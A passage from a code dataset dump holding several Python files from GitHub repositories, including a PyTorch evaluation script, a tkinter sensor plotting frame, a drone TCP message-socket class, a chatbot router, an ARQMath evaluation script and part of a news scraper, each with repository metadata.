os.path.join(\"models\", \"FC_{}_{}frame_{}\".format(args.type, args.seq_length, args.skip_frame))\n if not os.path.exists(output_dir):\n print (\"making\", output_dir)\n os.makedirs(output_dir)\n \n log_fn = os.path.join(\"FC_timer.log\")\n fmt = \"%(message)s\"\n logging.basicConfig(filename=log_fn, format=fmt, level=logging.INFO)\n\n device = None\n if torch.cuda.is_available():\n device = torch.device(\"cuda:\"+str(args.gpu_id))\n\n lengths = {\n \"resnet\": 512,\n \"basic\": 256\n }\n\n features = {\n \"resnet\": \"FEATURES/test3_resnet.p\",\n \"basic\": \"FEATURES/test3_basic.p\"\n }\n feature_pickle = features[args.type]\n print ('making dataset with', feature_pickle)\n\n csv_file = os.path.join(\"CSVs\", \"testfinal_{}{}.csv\".format(args.seq_length, args.add_args))\n\n print (\"using CSV\", csv_file)\n #ogging.info(\"CSV: {}, PICKLE: {}\".format(csv_file,feature_pickle ))\n dataset = DataSet(csv_file, args.image_dir, feature_pickle, device, skip_frame = bool(args.skip_frame))\n\n l = lengths[args.type]\n num_frames = args.seq_length / (2 ** args.skip_frame)\n #print ('initializing model with {}-length vectors and {} frames'.format(l, num_frames))\n model = LinearLayer(l, num_frames)\n if device:\n model.to(device)\n loader = DataLoader(dataset, 1, shuffle=False, drop_last=True, num_workers=0)\n\n\n #print(\"Starting eval ...\")\n check_point_fn = os.path.join(output_dir, \"ckpt_{}_0.pth\".format(args.checkpoint))\n #logging.info(\"EVALUATING {}\".format(check_point_fn))\n #print (\"Loading\", check_point_fn)\n ckpt = torch.load(check_point_fn)\n model.load_state_dict(ckpt) \n evaluate(model, device, loader)\n \n ", "repo_name": "monicadsong/thesis", "sub_path": "LLFC/fc_timer.py", "file_name": "fc_timer.py", "file_ext": "py", "file_size_in_byte": 5223, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.utils.data.dataset.Dataset", "line_number": 22, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 25, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 36, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 84, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 110, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 110, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 113, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 147, "usage_type": "call"}]} {"seq_id": "70497530465", "text": "__author__ = \"Kyle Vitatus Lopin\"\n\n# standard libraries\nfrom datetime import datetime\nfrom datetime import timedelta\nimport tkinter as tk\nfrom tkinter import ttk\n# installed libraries\nimport matplotlib\nimport matplotlib.dates as mdates\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom matplotlib.backends.backend_tkagg import NavigationToolbar2Tk as NavToolbar\nimport numpy as np\n# local files\nimport sensor_node_data # for type hinting\n\nFIGURE_SIZE = (8, 4)\n\n\nclass DataGraphFrame(tk.Frame):\n def __init__(self, master, parent_notebook, data: sensor_node_data.SensorHubData, type):\n ttk.Frame.__init__(self, parent_notebook)\n self.graph = GraphFrame(self, data, type) # make graph\n self.graph.pack(side='left', expand=True, fill=tk.BOTH)\n self.pack()\n\n def update(self):\n self.graph.update()\n\n\nclass GraphFrame(tk.Frame):\n def __init__(self, master_frame, data: sensor_node_data.SensorHubData, type):\n tk.Frame.__init__(self, master=master_frame)\n self.config(bg='white')\n self.plotted_lines = [] # type: list # to hold lines to update with new data\n self.data = data\n self.figure_bed = plt.figure(figsize=FIGURE_SIZE)\n self.axis = plt.subplot(111)\n x_format = mdates.DateFormatter(\"%H:%M\")\n # self.figure_bed.autofmt_xdate()\n self.axis.xaxis.set_major_formatter(x_format)\n self.axis.format_coord = lambda x, y: \"\" # remove the coordinates in the toolbox\n\n # set the limits of the frame\n start_time = datetime.now()\n\n self.axis.set_xlim([start_time - timedelta(minutes=15), start_time + timedelta(minutes=5)])\n if type == 'Temperature':\n self.axis.set_ylim([15, 100])\n\n self.axis.set_xlabel(\"Time\", fontsize=12)\n self.axis.set_ylabel(type, fontsize=12)\n\n self.canvas = FigureCanvasTkAgg(self.figure_bed, master=self)\n self.canvas._tkcanvas.config(highlightthickness=0)\n toolbox_frame = tk.Frame(self)\n toolbox_frame.pack(side=tk.BOTTOM)\n self.toolbar = NavToolbar(self.canvas, toolbox_frame)\n self.toolbar.pack(side=tk.BOTTOM)\n\n self.canvas.draw()\n self.canvas.get_tk_widget().pack(side='left', fill=tk.BOTH, expand=1)\n self.lines = [None, None, None]\n\n def update(self):\n # print('lines: ', self.lines)\n # print('num_data points = ', self.data.sensors[0].plot_index)\n for i, line in enumerate(self.lines):\n data_end = self.data.sensors[i].plot_index\n time_series = self.data.sensors[i].time_series[:data_end]\n color_series = self.data.sensors[i].color_index[:data_end]\n # print(\"color series: \", i, color_series)\n if self.lines[i]:\n # print('setind data: ', time_series)\n line.set_ydata(color_series)\n line.set_xdata(time_series)\n # print('set data: ', color_series)\n # print(time_series)\n else:\n new_line, = self.axis.plot(time_series, color_series)\n self.lines[i] = new_line # TODO: does line = new_line work\n self.axis.relim()\n self.axis.autoscale_view(True, True, True)\n now = datetime.now()\n\n self.axis.set_xlim([now - timedelta(minutes=15), now + timedelta(minutes=5)])\n # self.axis.set_ylim([np.amin(color_series), now + timedelta(minutes=5)])\n if color_series.any():\n print('y min:', np.amin(color_series))\n print('y max:', np.amax(color_series))\n self.canvas.draw()\n\n def update_old(self):\n print(\"update\")\n if self.data.sensors[0].current_index == 0:\n return # no data\n data_end0 = self.data.sensors[0].current_index - 1\n data_end1 = self.data.sensors[1].current_index - 1\n print('indexes: ', data_end0, data_end1)\n t_series1 = self.data.sensors[0].raw_color_data['time'][:data_end0]\n t_series2 = self.data.sensors[1].raw_color_data['time'][:data_end1]\n # t_series3 = self.data.sensors[2].raw_color_data['time']\n color_series1 = self.data.sensors[0].color_index[:data_end0]\n color_series2 = self.data.sensors[1].color_index[:data_end1]\n # color_series3 = self.data.sensors[2].color_index\n\n print('time1: ', t_series1)\n print('data1: ', color_series1)\n if self.line1:\n self.line1.set_ydata(color_series1)\n self.line1.set_xdata(t_series1)\n else:\n self.line1, = self.axis.plot(t_series1, color_series1)\n\n if self.line2:\n self.line2.set_ydata(color_series1)\n self.line2.set_xdata(t_series1)\n else:\n self.line2, = self.axis.plot(t_series1, color_series1)\n print(self.line1)\n self.axis.relim()\n self.axis.autoscale_view(True, True, True)\n self.canvas.draw()\n\n\ndef wavelength_to_rgb(wavelength, max_value=255, gamma=0.8):\n \"\"\" modified from https://www.noah.org/wiki/Wavelength_to_RGB_in_Python\n This converts a given wavelength of light to an\n approximate RGB color value. The wavelength must be given\n in nanometers in the range from 380 nm through 750 nm\n (789 THz through 400 THz).\n\n Based on code by Dan Bruton\n http://www.physics.sfasu.edu/astro/color/spectra.html\n \"\"\"\n MAX_UV = 380\n MAX_IR = 940\n wavelength = float(wavelength)\n if MAX_UV <= wavelength <= 440:\n attenuation = 0.3 + 0.7 * (wavelength - MAX_UV) / (440 - MAX_UV)\n red = ((-(wavelength - 440) / (440 - MAX_UV)) * attenuation) ** gamma\n green = 0.0\n blue = (1.0 * attenuation) ** gamma\n elif wavelength <= 490: # if less than 440 the previous if statement will be called\n red = 0.0\n green = ((wavelength - 440) / (490 - 440)) ** gamma\n blue = 1.0\n elif wavelength <= 510:\n red = 0.0\n green = 1.0\n blue = (-(wavelength - 510) / (510 - 490)) ** gamma\n elif wavelength <= 580:\n red = ((wavelength - 510) / (580 - 510)) ** gamma\n green = 1.0\n blue = 0.0\n elif wavelength <= 645:\n red = 1.0\n green = (-(wavelength - 645) / (645 - 580)) ** gamma\n blue = 0.0\n elif wavelength <= MAX_IR:\n attenuation = 0.3 + 0.7 * (MAX_IR - wavelength) / (MAX_IR - 645)\n red = (1.0 * attenuation) ** gamma\n green = 0.0\n blue = 0.0\n else:\n red = 0.0\n green = 0.0\n blue = 0.0\n red *= max_value\n green *= max_value\n blue *= max_value\n return (red, green, blue)\n\nif __name__ == '__main__':\n root = tk.Tk()\n app = DataGraphFrame(root, None, None)\n app.mainloop()\n", "repo_name": "KyleLopin/IoT_Base", "sub_path": "graph_frame.py", "file_name": "graph_frame.py", "file_ext": "py", "file_size_in_byte": 6754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.use", "line_number": 11, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sensor_node_data.SensorHubData", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tkinter.ttk.Frame.__init__", "line_number": 24, "usage_type": "call"}, {"api_name": "tkinter.ttk.Frame", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tkinter.ttk", "line_number": 24, "usage_type": "name"}, {"api_name": "tkinter.BOTH", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sensor_node_data.SensorHubData", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tkinter.Frame.__init__", "line_number": 35, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.dates.DateFormatter", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 56, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.BOTTOM", "line_number": 59, "usage_type": "attribute"}, {"api_name": "matplotlib.backends.backend_tkagg.NavigationToolbar2Tk", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.BOTTOM", "line_number": 61, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 64, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 86, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 92, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 177, "usage_type": "call"}]} {"seq_id": "70155268064", "text": "# Author: Ali \n# Date: December 2023\n# Purpose: Implements message socket, used for communicating dictionaries.\n\nimport socket\nimport struct\nimport io\nimport json\nimport Utils.Common as Common\nimport random \nfrom time import sleep\nimport threading \nfrom abc import ABC, abstractmethod\nimport select\n\nclass MessageSocketParent(ABC):\n def __init__(self, conn, buffSize=4096) -> None:\n self.conn = conn\n self.connLock = threading.Lock()\n self.isConnected_b = Common.SharedVal(False)\n self.receivedMessages = Common.SharedQueue()\n self.messagesToSend = Common.SharedQueue()\n self.recvBuffer = b\"\"\n self.processingMsg = False\n self.buffSize = buffSize\n self.msgLen = -1\n self.initialized = False\n\n def isInitialized(self):\n return self.initialized\n def init(self):\n self.connect()\n #self.__startReadThread()\n #self.__startSendThread()\n self.__startReadSendThread()\n self.initialized = True\n\n @abstractmethod\n def connect(self):\n self.isConnected_b.set(True)\n Common.LogMessage('Connect succeeded')\n def reconnect(self):\n self.isConnected_b.set(False)\n Common.LogError(\"Connection lost, reconnecting\")\n self.connLock.acquire()\n self.conn.close()\n self.connLock.release()\n self.connect()\n\n def sendMessageSync(self, message: dict) -> bool:\n json_bytes = self.__jsonEncode(message)\n hdr = struct.pack(\">H\", len(json_bytes))\n try:\n self.connLock.acquire()\n self.conn.sendall(hdr + json_bytes )\n self.connLock.release()\n return True\n except:\n # connection to server lost\n if self.connLock.locked():\n self.connLock.release()\n return False\n\n def getMessage(self) -> bool:\n return self.receivedMessages.popLeft()\n def sendMessageAsync(self, data) -> bool:\n return self.messagesToSend.append(data)\n def isConnected(self) -> bool:\n return self.isConnected_b.get()\n def close(self) -> None:\n if self.isInitialized():\n self.__endReadSendThread()\n self.connLock.acquire()\n self.conn.close()\n self.connLock.release()\n\n def __startReadSendThread(self):\n self.threadReadSendEvent = threading.Event()\n self.threadReadSend = threading.Thread(target=self.__readSendMessagesInfLoop)\n self.threadReadSend.daemon = True\n self.threadReadSend.start()\n def __endReadSendThread(self):\n self.threadReadSendEvent.set()\n def __readSendMessagesInfLoop(self):\n while not self.threadReadSendEvent.is_set():\n readable, writable, exceptional = select.select([self.conn], [self.conn], [self.conn])\n if len(exceptional) > 0:\n self.reconnect()\n\n if len(readable) > 0:\n if not self.__receive():\n self.reconnect()\n while self.recvBuffer:\n self.__processHeader()\n oneMessage = self.__processContent()\n while oneMessage == None:\n # the entire message has not been received yet, so get another packet.\n if not self.__receive():\n self.reconnect()\n oneMessage = self.__processContent()\n self.receivedMessages.append(oneMessage)\n\n if len(writable) > 0: \n oneMessage = self.messagesToSend.popLeft()\n if oneMessage:\n ret = self.sendMessageSync(oneMessage)\n while ret != True:\n self.reconnect()\n ret = self.sendMessageSync(oneMessage)\n\n def __receive(self) -> bool: \n try:\n # Should be ready to read\n self.connLock.acquire()\n data = self.conn.recv(self.buffSize)\n self.connLock.release()\n except:\n if self.connLock.locked():\n self.connLock.release()\n return False\n else:\n if data:\n self.recvBuffer += data\n return True\n else:\n return False \n\n def __jsonEncode(self, obj):\n return json.dumps(obj, ensure_ascii=False).encode(\"utf-8\")\n\n def __jsonDecode(self, json_bytes):\n tiow = io.TextIOWrapper(\n io.BytesIO(json_bytes), encoding=\"utf-8\", newline=\"\"\n )\n obj = json.load(tiow)\n tiow.close()\n return obj\n\n def __processHeader(self):\n hdrlen = 2\n if len(self.recvBuffer) >= hdrlen:\n self.msgLen = struct.unpack(\">H\", self.recvBuffer[:hdrlen] )[0]\n self.recvBuffer = self.recvBuffer[hdrlen:]\n self.processingMsg = True\n \n def __processContent(self):\n if len(self.recvBuffer) < self.msgLen:\n # the receive buffer is incomplete, we need to wait for more messages\n #CommonUtils.LogDebug(str(len(self._recv_buffer))+',' +str(self.msgLen))\n return None\n data = self.recvBuffer[:self.msgLen]\n self.recvBuffer = self.recvBuffer[self.msgLen:]\n msg = self.__jsonDecode(data)\n Common.LogDebug(\"Received msg \"+ str(msg))\n self.processingMsg = False\n return msg\n \n def sendRandomDict(self):\n # testing function\n randomdata = {\n \"float from Drone\": 3.1415926536,\n \"random float from Drone\": [random.random()]*int(random.random()*100),\n \"string from Drone\": \"just a string\",\n \"list from Drone\": [9999999,999999,99999]\n }\n print(\"SENDING:\", randomdata)\n self.sendMessage( randomdata)\n\n\nclass MessageSocket(MessageSocketParent) :\n def __init__(self, type, HOST=None, PORT=3002) -> None:\n self.type = type\n self.HOST = HOST\n self.PORT = PORT\n self.buffSize=4096\n super().__init__(self)\n # the drone runs the server socket, while the operator runs the \n def connect(self):\n if self.type == \"DRONE\":\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # SOCK_STREAM is the socket type for TCP\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # https://stackoverflow.com/questions/4465959/python-errno-98-address-already-in-use\n HOST = \"\" # empty to accept any client\n self.sock.bind((HOST, self.PORT))\n self.sock.listen(500) # maximum of 500 connections, so I think we can lose and regain connection 500 times\n Common.LogMessage('Waiting for connections')\n conn = None\n while True:\n readable, _, _ = select.select([self.sock], [], [])\n sleep(0.5)\n if len(readable) >0 and readable[0] is self.sock:\n conn, self.addr = self.sock.accept()\n break\n super().__init__( conn, buffSize=self.buffSize)\n super().connect()\n elif self.type == \"OPERATOR\":\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n ret = self.sock.connect_ex((self.HOST, self.PORT))\n while ret != 0:\n Common.LogMessage('Connect failed, waiting 3 sec')\n sleep(3)\n ret = self.sock.connect_ex((self.HOST, self.PORT))\n super().__init__( self.sock, buffSize=self.buffSize)\n super().connect()\n else:\n Common.LogError(\"Invalid Socket Type:\"+str(self.type))\n\n", "repo_name": "icecap360/DroneCapstone", "sub_path": "src/Utils/MessageSocket.py", "file_name": "MessageSocket.py", "file_ext": "py", "file_size_in_byte": 7724, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "abc.ABC", "line_number": 16, "usage_type": "name"}, {"api_name": "threading.Lock", "line_number": 19, "usage_type": "call"}, {"api_name": "Utils.Common.SharedVal", "line_number": 20, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 20, "usage_type": "name"}, {"api_name": "Utils.Common.SharedQueue", "line_number": 21, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 21, "usage_type": "name"}, {"api_name": "Utils.Common.SharedQueue", "line_number": 22, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 22, "usage_type": "name"}, {"api_name": "Utils.Common.LogMessage", "line_number": 41, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 41, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 38, "usage_type": "name"}, {"api_name": "Utils.Common.LogError", "line_number": 44, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 44, "usage_type": "name"}, {"api_name": "struct.pack", "line_number": 52, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 78, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 79, "usage_type": "call"}, {"api_name": "select.select", "line_number": 86, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 129, "usage_type": "call"}, {"api_name": "io.TextIOWrapper", "line_number": 132, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 133, "usage_type": "call"}, {"api_name": "json.load", "line_number": 135, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 142, "usage_type": "call"}, {"api_name": "Utils.Common.LogDebug", "line_number": 154, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 154, "usage_type": "name"}, {"api_name": "random.random", "line_number": 162, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 180, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 180, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 180, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 181, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 181, "usage_type": "attribute"}, {"api_name": "Utils.Common.LogMessage", "line_number": 185, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 185, "usage_type": "name"}, {"api_name": "select.select", "line_number": 188, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 189, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 196, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 196, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 196, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 197, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 197, "usage_type": "attribute"}, {"api_name": "Utils.Common.LogMessage", "line_number": 200, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 200, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 201, "usage_type": "call"}, {"api_name": "Utils.Common.LogError", "line_number": 206, "usage_type": "call"}, {"api_name": "Utils.Common", "line_number": 206, "usage_type": "name"}]} {"seq_id": "9193824591", "text": "import unidecode\nfrom random import choice\n\nfrom AItranslater import *\nfrom dialoGPT import *\nfrom chatbot import get_chatbot_response\nfrom calc import detect_calc\nfrom wikipedia_search import detect_search\nfrom get_time import detect_time\n\nerror_responses = [\"Desculpe, não entendi\"]\n\ndef generate_response(input):\n input_rem = unidecode.unidecode(input).strip().lower()\n input_rem2 = input_rem.replace('?','').replace('.','').replace(',','').replace('!','')\n\n if detect_calc(input_rem2) == True:\n botreply = 'execute_action{calculate()}'\n else:\n botreply = get_chatbot_response(input_rem)\n \n print(botreply)\n\n if botreply == 'error':\n if detect_search(input_rem2) == True:\n botreply = 'execute_action{search()}'\n elif detect_time(input_rem2) == True:\n botreply = 'execute_action{get_time(time)}'\n else:\n enInput = translateToEN(input)\n reply = dialoGPT(enInput)\n PtReply = translateFromEN(reply)\n botreply = PtReply\n #print('English translation: '+enInput)\n #print('Generated response: '+reply)\n #print('Portuguese translation: '+PtReply)\n \n if botreply.strip() == '':\n botreply = choice(error_responses)\n return botreply\n\nif __name__ == \"__main__\":\n while 1:\n print(generate_response(input('Usuário: ')))\n input('Pressione qualquer tecla pra continuar')", "repo_name": "luannbrandao/byte-robot", "sub_path": "server/modules/generate_response.py", "file_name": "generate_response.py", "file_ext": "py", "file_size_in_byte": 1462, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unidecode.unidecode", "line_number": 14, "usage_type": "call"}, {"api_name": "calc.detect_calc", "line_number": 17, "usage_type": "call"}, {"api_name": "chatbot.get_chatbot_response", "line_number": 20, "usage_type": "call"}, {"api_name": "wikipedia_search.detect_search", "line_number": 25, "usage_type": "call"}, {"api_name": "get_time.detect_time", "line_number": 27, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 39, "usage_type": "call"}]} {"seq_id": "7594043986", "text": "from collections import defaultdict\nfrom statistics import mean\nimport argparse\nimport csv\nimport json\nimport logging\n\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef read_task1_result_file(file_path):\n \"\"\"\n Reading input results file in ARQMath format for ARQMath Task 3\n @param file_path: file path to input file\n @return: iterable of topic ids, answer ids, ranks, and scores\n \"\"\"\n with open(file_path, 'rt', newline='', encoding='utf-8') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter='\\t')\n for row in csv_reader:\n topic_id, answer_id, rank, score, run_name = row\n rank = int(rank)\n score = float(score)\n yield (topic_id, answer_id, rank, score)\n\n\ndef get_top1_task1_results(file_path):\n \"\"\"\n Reading input results file in ARQMath format for ARQMath Task 3\n and extracting top-1 results\n @param file_path: file path to input file\n @return: iterable of topic ids, and answer ids\n \"\"\"\n results = defaultdict(lambda: list())\n for topic_id, answer_id, rank, score in read_task1_result_file(file_path):\n results[topic_id].append((score, -rank, answer_id))\n for topic_id, answers in sorted(results.items()):\n *_, answer_id = max(answers)\n yield topic_id, answer_id\n\n\ndef read_task1_qrel_file(file_path):\n \"\"\"\n Reading input file with relevance judgements for ARQMath Task 3\n @param file_path: file path to input file\n @return: iterable of topic ids, answer ids, and relevance judgements\n \"\"\"\n with open(file_path, 'rt', newline='', encoding='utf-8') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter='\\t')\n for row in csv_reader:\n topic_id, _, document_id, relevance_judgement = row\n relevance_judgement = int(relevance_judgement)\n yield ((topic_id, document_id), relevance_judgement)\n\n\ndef main():\n \"\"\"\n example: python3 evaluate_task1_results.py -in \"baseline_tangents_task1_2022.tsv\"\n -excluded_topics '[]'\n -qrel \"qrel_task1_2022_official.tsv\"\n @return:\n \"\"\"\n logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s')\n\n parser = argparse.ArgumentParser(\n description='Compute Task 3 manual evaluation measures (AR, P@1) for Task 1 results')\n parser.add_argument('-in',\n help='Input result file in ARQMath format for ARQMath Task 1',\n required=True)\n parser.add_argument('-excluded_topics',\n help=('A JSON array of topics excluded from the evaluation'),\n required=True)\n parser.add_argument('-qrel',\n help='Input file with relevance judgements for ARQMath Task 1',\n required=True)\n\n args = vars(parser.parse_args())\n result_file = args['in']\n excluded_topics = args['excluded_topics']\n qrel_file = args['qrel']\n\n excluded_topics_set = set(json.loads(excluded_topics))\n LOGGER.info(f'Excluded topics: {sorted(excluded_topics_set)}')\n\n result_dict = dict(get_top1_task1_results(result_file))\n qrel_dict = dict(read_task1_qrel_file(qrel_file))\n\n missing_topics = set()\n judgements = []\n for topic_id, answer_id in sorted(result_dict.items()):\n if topic_id not in excluded_topics_set:\n continue\n try:\n judgement = qrel_dict[topic_id, answer_id]\n judgements.append(judgement)\n except KeyError:\n missing_topics.add(topic_id)\n\n if missing_topics:\n LOGGER.warning(f'Results for {len(missing_topics)} topics had no judgements: {sorted(missing_topics)}')\n LOGGER.warning(f'Running the evaluation using just {len(judgements)} topics')\n\n average_relevance = mean(float(judgement) for judgement in judgements)\n precision_at_one = mean(1.0 if judgement > 1 else 0.0 for judgement in judgements)\n\n print(f'AR: {average_relevance:.3f}')\n print(f'P@1: {precision_at_one:.3f}')\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Witiko/arqmath3-openqa-tools", "sub_path": "scripts/evaluate_task1_results_manual.py", "file_name": "evaluate_task1_results_manual.py", "file_ext": "py", "file_size_in_byte": 4116, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 19, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 34, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 63, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 65, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 82, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 103, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 104, "usage_type": "call"}]} {"seq_id": "28017379499", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport hashlib\nfrom video import *\n\nHEADERS = {\n 'User-Agent': 'My User Agent 1.0',\n 'From': 'user@domain.com'\n}\n\nclass Parser:\n\n def __init__(self):\n self.NEWS_URL = \"https://news.microsoft.com/en-ca/\"\n self.soup = BeautifulSoup(requests.get(self.NEWS_URL, headers=HEADERS).text, 'html.parser')\n\n def getParsedInfo(self, previousCache):\n newCache = dict()\n self.getXlImage(newCache)\n self.getLImages(newCache)\n self.getMImages(newCache)\n # print(newCache)\n return checkDifference(newCache, previousCache[\"data\"]), newCache\n\n def getXlImage(self, newCache):\n xlDiv = self.soup.find(\"div\", {\"class\": \"mnc-lg-panel\"})\n title = xlDiv.a[\"ms.title\"]\n image = xlDiv.img[\"src\"]\n article = xlDiv.a[\"href\"]\n hashed = hash_string(title)\n vid = getVideo(article, title)\n if vid != None:\n newCache[hashed] = {\"title\": title, \"imgHREF\": image, \"imageSize\": \"xl\", \"articleHREF\": article, \"videoHREF\": vid}\n\n def getLImages(self, newCache):\n lDivs = self.soup.find_all(\"div\", {\"class\": \"mnc-md-panel\"})\n for div in lDivs:\n title = div.a[\"ms.title\"]\n image = div.img[\"src\"]\n article = div.a[\"href\"]\n hashed = hash_string(title)\n vid = getVideo(article, title)\n if vid != None:\n newCache[hashed] = {\"title\": title, \"imgHREF\": image, \"imageSize\": \"l\", \"articleHREF\": article, \"videoHREF\": vid}\n\n def getMImages(self, newCache):\n mDivs = self.soup.find_all(\"a\", {\"class\": \"m-preview-image\"})\n for div in mDivs: \n title = div[\"ms.title\"]\n image = div.img[\"src\"]\n article = div[\"href\"]\n hashed = hash_string(title)\n vid = getVideo(article, title)\n if vid != None:\n newCache[hashed] = {\"title\": title, \"imgHREF\": image, \"imageSize\": \"m\", \"articleHREF\": article, \"videoHREF\": 